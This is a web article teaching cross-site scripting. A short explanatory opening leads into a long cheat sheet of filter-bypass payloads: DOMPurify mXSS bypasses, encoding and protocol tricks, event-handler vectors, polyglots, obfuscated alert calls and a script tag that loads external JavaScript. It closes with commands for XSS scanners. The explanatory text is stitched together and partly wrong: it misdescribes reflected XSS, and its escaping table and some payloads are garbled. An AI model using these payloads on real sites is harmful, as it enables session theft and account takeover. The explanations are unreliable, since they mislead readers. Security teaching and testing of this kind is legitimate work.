learn cybersecurity
Cross-Site Scripting in short XSS refers to the penetration of website security. A simple XSS vulnerability can act as a sitewide logger. To be honest, it does more damage to the user browsing the site than the web server itself. So yes, it is quite dangerous. Some people may confuse XSS with CSS, which is a very different thing. Cascading Style Sheets or CSS is used in the design functionality of a webpage.
Simple JavaScript like this can cause a massive hole in security as an XSS attack
“https://youhavebeenpawned.com” is a name that we used for demo purposes.
XSS is one of the Deadliest Attacks hackers do on a web application. In this vulnerability, the attacker injects a malicious script to perform a malicious action on trusted websites. This Malicious script executes on the browser and affects the visiting user.
XSS is quite prevalent in websites where the user input is not encoded or escaped.
Cross-Site Scripting (XSS) typically has three different types. They are:
Unsecure websites and databases fall under stored XSS attack patterns most of the time. Malicious scripts are injected by an attacker directly into the webserver via input fields. It can be the comment form, sign-up or login box, or visitor log. The database or server also takes the input in the most welcoming manner and it lets the attacker mess with the web server itself.
This is the typical behavior of a non-secure site. When visited, the malicious script is being retrieved causing it to execute. As the executable JavaScript code requests for stored information, we call it stored XSS or second-order XSS attack.
While browsing a webpage that takes comment or feedback as input can be a great example. A regular comment would be a user’s thought on the content. But an attacker does things differently. The attacker may leave a comment like “It is very helpful”,(+) attached with a malicious script or JavaScript file. Something like:
Once the comment is posted. Every time a user visits the page, the comment loads for him too. Allowing HTML to activate the script. This script is being stored on the page as you can see which is hosted on some other site. It can be coded to capture cookies or get the inputs.
It is one of the simplest tricks in the book as far as the Stored XSS attack goes. We mentioned authstealer.js as a simple JavaScript file.
There are plenty of things that can go wrong depending on the stored code behind the script.
As the name suggests, the network route is being reflected after modification by an attacker in a Reflected XSS attack. When an attacker injects a bad script into a webpage, the web server or database stores it. In this case, the database or web server is not secured at all. A good example is the YouTube comment section. Though YouTube is not an insecure website by any means. Any comment on YouTube does reload the page. Its functionality is executed in the background and we can assume it is server sided.
Malicious JavaScript can be injected here and thus will reload the page. Not our primary example site but an insecure site. So, when the user loads the page, the script mines data from the user to the attacker. Our HTTP response reflects everything from the user to the attacker.
Suppose a URL (Uniform Resource Locator) takes in the search term by user input on the webpage. So, it stores a small amount of data in the URL bar.
The web application reflects the search term on the server
<p>User search result: hacking tutorial</p>
If the webserver fails to purify or process the data securely, it is prone to be injected.
A successful Reflected XSS attack can give the attacker all the access or security level access of the user account. It also allows modification and interaction with payload which is a serious threat.
DOM Based XSS, also known as type-0 XSS is executed when the returning payload is being modified by an attacker via malicious script to perform an XSS attack. It happens within the DOM environment because the browser is supposed to execute JavaScript whenever it sees it. And if you direct to an insecure site, even after the security warning, the code runs as “unexpected.”
HTTP response doesn’t change in a DOM Based XSS attack and the most troubling thing is, proxy falls under the least needed tool to perform it. No change is noticed on the server but the client-side falls under the victim category. But the issue is not very common.
XSS is best prevented while coding an application. Here are some Prevention techniques for XSS:
Escaping all special characters is mandatory. Password complexity is another thing to keep in mind while browsing or tweaking improvements in a webpage as a registered user. Special characters or symbols (! @ # $ % ^ & *) should be escaped properly.
Allowed and non-permitted special characters require to be listed properly. Also, proper rules of what types of special characters can be used and on what length helps to prevent cross-site scripting. To get the best security and usability alongside, it is necessary to escape special characters. But under a proper encoding blanket of course.
It’s basically impossible for XSS filters to correctly anticipate every way that HTML will be mutated by a browser and interacting libraries, so what happens is that you can sometimes sneak a XSS payload in as invalid HTML and the browser + sanitizer will correct it into a valid payload… which bypasses all filtering.
Here is a paper on mXSS with lots of details
Note: mXSS can be browser-dependent, so try multiple browsers as well.
1 | <noscript><style></noscript><img src=x onerror=alert(1)> |
1 | <svg><style><img src=x onerror=alert(1)></style></svg> |
DOMPurify <2.1
(note: I had to play with some of these a little bit to get them to work. .)
1 | <math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img	src=1	onerror=alert(1)>"> |
1 | <math><mtext><table><mglyph><style><![CDATA[</style><img title="]]></mglyph><img	src=1	onerror=alert(1)>"> |
1 | <math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img src=1 onerror=alert(1)>"> |
1 | <svg></p><style><a id="</style><img src=1 onerror=alert(1)>"> |
1 | <svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg> |
Simple enough, sometimes an application will perform XSS filtering on a string before it’s decoded once more, which leaves it open by filter bypasses. It’s pretty rare, but some bug hunters I know swear by it so I’m including it for reference.
Char | Double encoded |
---|---|
< | %253C |
> | %253E |
( | %2528 |
) | %2529 |
“ | %2522 |
‘ | %2527 |
Let’s say you’ve got an opportunity to inject data into something that touches the URL. Like a location.href, but it’s filtered. This is a list of things you can attempt to to do bypass it.
Credit for this particular set of hackery goes to this great article on XSS in Django
(Some of these are browser dependent. Try your payload separately before relying on it.)
Technique | Example | |
---|---|---|
Case sensitivity | JaVaScript:alert(1) | URL protocol is case insensitive |
Some whitespace INSIDE protocol | javas cript:alert(1) | tab (0x9), newline (0xa) and carriage return (0xd) allowed anywhere in protocol |
Whitespace before protocol | javascript:alert(1) | Characters \x01-\x20 can be inserted before the protocol |
Some whitespace AFTER protocol before oclon | javascript : | tab (0x9), newline (0xa) and carriage return (0xd) allowed anywhere after the protocol |
If you can force a browser to load data, either through setting the URL (via e.g. location.href or the href field in an a tag) or other means, you can execute javascript. In Firefox, these are treated as the same domain as the originating page but not in Chrome. Regardless, this can lead to a few dangerous outcomes explained below.
If you’re unfamiliar, you can test these payloads by pasting them into the URL of your browser. They all simply do an alert(‘XSS’), but you can verify this by using a base64 decoder on the payloads if you want to be cautious.
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
(Firefox only)
data:application/vnd.wap.xhtml+xml;base64,PHg6c2NyaXB0IHhtbG5zOng9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KCdYU1MnKTwveDpzY3JpcHQ+
Not XSS, but consider other mime types which can weak havoc. Like the following exampe using application/x-xpinstall in Firefox that prompts users to install a plugin… imagine how bad it would be if someone chained a text/html with this to spoof the appearance of a legitimate website then prompt the users to install a plugin which might get access to all their browser data?
(Firefox only)
data:application/x-xpinstall;base64,<BASE64 ENCODED FIREFOX .XPI PLUGIN>
Keep in mind that no perfect XSS Filter can be made. XSS filters are just an added layer of protection. An XSS filter will harden our web applications, adding more protection from rogue attacks and script kiddies.
Basic Rules For XSS Filter
Even in the rendering URL context, simple JavaScript protocol handlers such as <a> tag can contain codes. Though today we have been through enough attacks on websites, that browsers have many built-in features to stop XSS attacks at their doorstep. Still, it is very easy to mess up. Simple data introduced in JavaScript code can appear in a server-side encoding context similar to the image below.
The following data must be properly sanitized:
& -> &
< -> <
> -> >
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
Sometimes filters naively assume only certain characters can separate a tag and its attributes, here’s a full list of valid separators that work in firefox and chrome:
Decimal value | URL Encoded | Human desc |
---|---|---|
47 | %2F | Foward slash |
13 | %0D | Carriage Return |
12 | %0C | Form Feed |
10 | %0A | New Line |
9 | %09 | Horizontal Tab |
Basically, if you have a payload that looks like:
1 | <svg onload=alert(1)> |
You can try to replace the space between ‘svg’ and ‘onload’ with any of those chars and still work like you expect it to. This works for all HTML tags.
So, these are all valid HTML and will execute (Note: In new Chrome this breaks if you open it in a new tab without refreshing it manually
Forward slash:
1 | <svg/onload=alert(1)><svg> |
New line:
1 2 | <svg onload=alert(1)><svg> |
Tab:
1 | <svg onload=alert(1)><svg> |
New page (0xC):
1 | <svgonload=alert(1)><svg> |
Good reference for events and supported browsers: More HTML events
(0-click only)
Tag Attribute | Tags supported | Note |
---|---|---|
onload | body, iframe, img, frameset, input, script, style, link, svg | Great for 0-click, but super commonly filtered |
onpageshow | body | Great for 0-click, but appears only usable in Non-DOM injections |
onfocus | input, select, a | for 0-click: use together with autofocus=”” |
onerror | img, input, object, link, script, video, audio | make sure to pass params to make it fail |
onanimationstart | Combine with any element that can be animated | Fired then a CSS animation starts |
onanimationend | Combine with any element that can be animated | Fires when a CSS animation ends |
onstart | marquee | Fires on marquee animation start – Firefox only? |
onfinish | marquee | Fires on marquee animation end – Firefox only? |
ontoggle | details | Must have the ‘open’ attribute for 0-click |
Tag Attribute | Tags supported | Note |
---|---|---|
onmessage | most tags | postMessage is commonly used to get around iframe restrictions and share data, as a result if your page is doing this you can use onmessage to intercept messages and trigger code |
onblur | input, select, a | Set autofocus=”” for an easy 1-click when the user switches focus away from the injected element by clicking on anything on the page |
Examples:
1 | <body onload=alert()> |
1 | <img src=x onerror=alert()> |
1 | <svg onload=alert()> |
1 | <body onpageshow=alert(1)> |
1 | <marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only) |
1 | <marquee onstart=alert(1)> (firefox only) |
1 | <marquee loop=1 width=0 onfinish=alert(1)> (firefox only) |
1 | <input autofocus="" onfocus=alert(1)></input> |
1 | <details open ontoggle="alert()"> |
(0-click only)
Name | Tags | Note |
---|---|---|
onplay | video, audio | For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip |
onplaying | video, audio | For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip |
oncanplay | video, audio | Must link to a valid video/audio clip |
onloadeddata | video, audio | Must link to a valid video/audio clip |
onloadedmetadata | video, audio | Must link to a valid video/audio clip |
onprogress | video, audio | Must link to a valid video/audio clip |
onloadstart | video, audio | Great underexploited 0-click vector |
oncanplay | video, audio | Must link to a valid video/audio clip |
Examples:
1 | <video autoplay onloadstart="alert()" src=x></video> |
1 | <video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video> |
1 | <video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video> |
1 | <video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video> |
1 | <video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video> |
1 | <video controls onloadstart="alert()"><source src=x></video> |
1 | <video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video> |
1 | <audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio> |
1 | <audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio> |
True XSS injection through CSS is dead (for now). The following are XSS vectors that depend on CSS stylesheets or are otherwise enhanced by them.
Name | Tags | Note |
---|---|---|
onmouseover | most tags | Will trigger when mouse moves over the injected element. If possible, add styling to make it as big as possible. It’s technically a 0-click if you don’t have to click, right? /s |
onclick | most tags | Will trigger when user clicks on element. If possible, add styling to make it as big as possible. |
onanimationstart & onanimationend | most tags | Triggers on start or end of a CSS animation, which you can make happen on page load (0-click). |
Note: Below uses style tags to set up keyframes for animation(start|end), but you can also check for already included CSS to reuse what’s already there by using e.g. animation: alreadydefined;
. It doesn’t matter what the animation is, just that it exists.
1 | <style>@keyframes x {}</style> |
1 | <p style="animation: x;" onanimationstart="alert()">XSS</p> |
1 | <p style="animation: x;" onanimationend="alert()">XSS</p> |
Payload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
1 | <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" > |
Same, but for moving your mouse anywhere over the page (0-click-ish):
1 | <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div> |
Just some odd/weird vectors that I don’t see mentioned often.
1 | <svg><animate onbegin=alert() attributeName=x></svg> |
1 | <object data="data:text/html,<script>alert(5)</script>"> |
1 | <iframe srcdoc="<svg onload=alert(4);>"> |
1 | <object data=javascript:alert(3)> |
1 | <iframe src=javascript:alert(2)> |
1 | <embed src=javascript:alert(1)> |
1 | <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed> |
1 | <embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed> |
I use several XSS polyglots because sometimes you only have a certain # of characters to input and need a DOM or non-DOM based one.
Don’t rely on these 100% because there are circumstances where they will fail, but if you’re data injection testing everything then polyglots can give okay coverage.
# chars | Usage | Polyglots |
---|---|---|
141 | Both | javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> |
88 | Non-DOM | "'--></noscript></noembed></template></title></textarea></style><script>alert()</script> |
95 | DOM | '"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()> |
54 | Non-DOM | "'>-->*/</noscript></ti tle><script>alert()</script> |
42 | DOM | "'--></style></script><svg oNload=alert()> |
tip: you can easily create some great personal variations on these by varying the capitalization and using the tag-attribute separators.
To attack JS Frameworks, always do research on the relevant templating language.
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
That payload works in most cases, but this page has a bunch of other recommendations.
1 | [self.alert(1)] |
1 | javascript:alert(1)%252f%252f..%252fcss-images |
1 | [''=''or self.alert(1)] |
1 | [Omglol mod 1 mod self.alert (1) andlol] |
Credit: Gareth Heyes:
1 2 | <svg onload=alert`1`></svg> <script>alert`1`</script> |
Note that this will only work with HTML injection but not if the value gets injected directly into a script tag. This is because the decoding happens in the HTML parser, and anything between the script tags just gets sent to a javacript engine directly without decoding.
1 | <svg onload=alert(1)></svg> |
1 | <img src=x onerror="alert(1)"> |
1 | <svg onload=alert(1)></svg> |
1 | <img src=x onerror=alert(1)> |
1 | <svg onload=alert(1)></svg> |
HTML entities encoder available here, make sure to uncheck the ‘only encode unsafe…’ box.
Note that you can use three different sets of HTML entities encoding and combine them as you wish: named (&plar; -> (
), hex (&x28; -> (
) and decimal (( -> (
).
These 3 sites will transform valid JS to horrible monstrosities that have a good shot at bypassing a lot of filters:
Avoiding keywords and specific substrings:
1 | (alert)(1) |
1 | globalThis[`al`+/ert/.source]`1` |
1 | this[`al`+/ert/.source]`1` |
1 | [alert][0].call(this,1) |
1 | window['a'+'l'+'e'+'r'+'t']() |
1 | window['a'+'l'+'e'+'r'+'t'].call(this,1) |
1 | top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) |
1 | (1,2,3,4,5,6,7,8,alert)(1) |
1 | x=alert,x(1) |
1 | [1].find(alert) |
1 | top["al"+"ert"](1) |
1 | top[/al/.source+/ert/.source](1) |
1 | al\u0065rt(1) |
1 | al\u0065rt`1` |
1 | top['al\145rt'](1) |
1 | top['al\x65rt'](1) |
1 | top[8680439..toString(30)](1) |
Regex literals:
/part1/.source+/part2/.source
=> 'part1part2'
Numbers to strings:
8680439..toString(30)
=> 'alert'
( Number is generated using parseInt(“alert”,30), other bases also work )
simple tool for this is available here:
"\x41" -> "A"
: hex encoding
"\u0065" -> "A"
: unicode encoding (value is decimal)
"\101" -> "A"
: octal encoding
Sometimes a regex or other custom-made filters do case sensitive matching. You can then just use a toLowerCase(), like:
globalThis["aLeRt".toLowerCase()]
alert`1`
: Template literal syntax
alert.apply(this,[1])
: Using Function.prototype.apply
alert.call(this,1)
: Using Function.prototype.call
alert(1)
: Obviously, but included for completeness.
[1].find(alert)
: Using predicates
[1].filter(alert)
: Using predicates
Remember to look into what is already loaded! jQuery is an easy example, but any sufficiently complex framework will likely have something usable. Wappalyzer or equivalent can help here.
window.jQuery.globalEval("alert(1)")
$.globalEval("alert(1)")
XSS tools to get an upper hand in the learning curve for penetration testers. We have mentioned these tools because they are open-sourced and updated frequently.
They are to name a few. Installing is pretty simple but is dependent on many libraries like pycurl, bs4(beautiful soup 4), GeoIP, gi, cairocffi, selenium, and other web drivers.
To run on Debian-based systems execute the following command:
sudo apt-get install python3-pycurl python3-bs4 python3-GeoIP python3-gi python3-cairocffi python3-selenium firefoxdriver
For systems like Kali, Fedora a sudo pip installation should do the trick. Any other web driver should also be installed.
sudo pip3 install pycurl bs4 pygeoip gobject cairocffi selenium
The tool is also known as Cross-Site Sniper because it and targets GET parameters. Later the GET parameters are injected with an XSS payload.
$ python xsssniper.py -u http://youhavebeenpawned.com/index.php?page=test
To install, run the line below on your command prompt:
$ git clone https://github.com/gbrindisi/xsssniper.git
$ sudo git clone https://github.com/andresriancho/w3af.git
And to use the GUI
$ sudo ./w3af_gui
But XSStrike analyses the responses before doing so and the success rate is far broader. To run the application( “–crawl” is also an option with this one):
$ python xsstrike.py -u http://youhavebeenpawned.com/search.php?q=query
XSS Hunter: XSS Hunter is one of the latest frameworks to find available points of XSS. It is one of the easier tools packed with perks like management, organization & monitorization.
Command-line for installing and running the config files are respectively mentioned below:
$ sudo apt-get install git (if not already installed)
$ git clone https://github.com/mandatoryprogrammer/xsshunter.git
$ ./generate_config.py
Conclusion: XSS attack or XSS vulnerability causes manual exploitation to a website. Checking for crawler/spider and any other content that can welcome Metafile exploitation is certainly a matter of concern. Providing clear roles for users and setting adequate permission to secure the web framework is necessary before loading as a real-world application.
According to OWASP, a few configuration management are necessary. They can be checking backups or files that are unreferenced in the site manual, scripts, or administrative URLs. Non-production data should be tested in the live environment under different authorities and keep on looking for flaws. A threat modelling practice and proper documentation to work as an easy and safe guideline should be provided.
Hope you can piece together these small bits of explanations to draw the big picture and serve as a another useful frontline document on XSS Prevention.
Suggest an edit to this article
Go to Cybersecurity Knowledge Base
Got to the Latest Cybersecurity News
Stay informed of the latest Cybersecurity trends, threats and developments. Sign up for our Weekly Cybersecurity Newsletter Today.
Remember, CyberSecurity Starts With You!
This post was last modified on 6 July 2022 11:31 PM
British high street chain WH Smith has recently revealed that it was hit by a…
As banks worldwide roll out Voice ID as a means of user authentication over the…
In the era of digital transformation, cybersecurity has become a major concern for businesses. When…
In today's digital age, cybersecurity threats have become a significant concern for businesses of all…
The RIG Exploit Kit is currently in the midst of its most productive phase, attempting…
One of the most transformational technologies of our time, artificial intelligence (AI), has quickly come…
Leave a Comment